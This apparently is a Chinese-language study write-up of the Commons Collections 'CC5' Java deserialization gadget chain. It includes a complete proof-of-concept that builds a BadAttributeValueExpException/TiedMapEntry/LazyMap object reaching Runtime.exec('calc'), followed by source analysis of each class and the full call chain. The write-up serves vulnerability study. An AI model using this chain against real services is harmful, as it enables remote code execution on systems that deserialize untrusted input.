0x01.前言
在学习完最初的TransformedMap和LazyMap
后,来看他们触发需要用到的类
TransformedMap->AnnotationInvocationHandler
LazyMap->AnnotationInvocationHandler
最后都用到了AnnotationInvocationHandler
,而该类在JDK1.8中对readObject方法进行了修 改,所以在JDK1.8中无法继续使用AnnotationInvocationHandler
来触发了。所以在JDK1.8中需要寻找新的触发类了,涉及到新的2个类,TiedMapEntry
和BadAttributeValueExpException
当前触发版本:commons-collections 3.2 JDK1.8u131
先来看一下完整的POC
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {"calc"}) }; Transformer transformerChain = new ChainedTransformer(transformers); HashMap innermap = new HashMap(); LazyMap map = (LazyMap) LazyMap.decorate(innermap, transformerChain); TiedMapEntry tiedmap = new TiedMapEntry(map, 123); BadAttributeValueExpException poc = new BadAttributeValueExpException(1); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(poc, tiedmap); //序列化 FileOutputStream fileOutputStream = new FileOutputStream("serialize3.txt"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(poc); objectOutputStream.close(); //反序列化 FileInputStream fileInputStream = new FileInputStream("serialize3.txt"); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); Object result = objectInputStream.readObject(); objectInputStream.close();
还是用到了LazyMap,变化的代码为
TiedMapEntry tiedmap = new TiedMapEntry(map, 123); BadAttributeValueExpException poc = new BadAttributeValueExpException(1); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(poc, tiedmap);
0x02.TiedMapEntry类分析
既然还是用到了LazyMap,那还是需要找get操作。TieMapEntry的包位于
org.apache.commons.collections.keyvalue.TiedMapEntry
来看简要源码
public class TiedMapEntry implements Entry, KeyValue, Serializable { private static final long serialVersionUID = -8453869361373831205L; private final Map map; private final Object key; //构造方法,传入一个Map和一个Key值 public TiedMapEntry(Map map, Object key) { this.map = map; this.key = key; } //getValue方法调用了Map集合的get方法,如果Map传入一个LazyMap对象,可触发LazyMap 的get函数 public Object getValue() { return this.map.get(this.key); } //调用了getValue方法 public String toString() { return this.getKey() + "=" + this.getValue(); } }
这里完整的触发流程为 调用TieMapEntry
对象的toString方法,之后又调用了getValue方法,最 后触发LazyMap
的get方法
接下来寻找反序列化口并触发toString方法的类
0x03.BadAttributeValueExpException类分析
BadAttributeValueExpException
类位于
javax.management.BadAttributeValueExpException
来看他的构造方法和readObject方法
private Object val; //私有属性 public BadAttributeValueExpException (Object val) { //创建对象时会设置val的值,如果不为null,则调用toString方法后赋值给val this.val = val == null ? null : val.toString(); } private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null); //获取属性val的值 if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; //先对System.getSecurityManager进行判断,为null则进入该if判断,系统默认为null } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { //调用toString方法,可触发TieMapEntry的toString方法 val = valObj.toString(); } else { // the serialized object is from a version without JDK-8019292 fix val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
可以发现val的值我们可控,如果设置val为TieMapEntry
对象,在调用构造方法时就触发了 toString函数,但是因为最后反序列化操作时,已经无法触发构造方法了,所以漏洞的触发点 还是在readObject方法中,
这里需要提到下SecurityManager
,为java的安全管理器,默认是关闭的也就是null,
获取val的值后进行SecurityManager
判断,为null则进入,最后调用toString方法,触发漏洞
这时候还有个问题,val的值需要为TieMapEntry对象,而又是私有属性,创建对象后无法直接对 其进行操作,这时候需要用到反射去进行赋值了,所以就有了下面的构造语句
BadAttributeValueExpException poc = new BadAttributeValueExpException(1); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(poc, tiedmap);
其余的构造和CC1链大致相同,完整的触发链为
->ObjectInputStream.readObject() ->BadAttributeValueExpException.readObject() ->TieMapEntry.toString() ->TieMapEntry.getValue() ->LazyMap.get() ->ChainedTransformer.transform() ->ConstantTransformer.transform() ->InvokerTransformer.transform() ->Method.invoke() ->Class.getMethod() ->InvokerTransformer.transform() ->Method.invoke() ->Runtime.getRuntime() ->InvokerTransformer.transform() ->Method.invoke() ->Runtime.exec()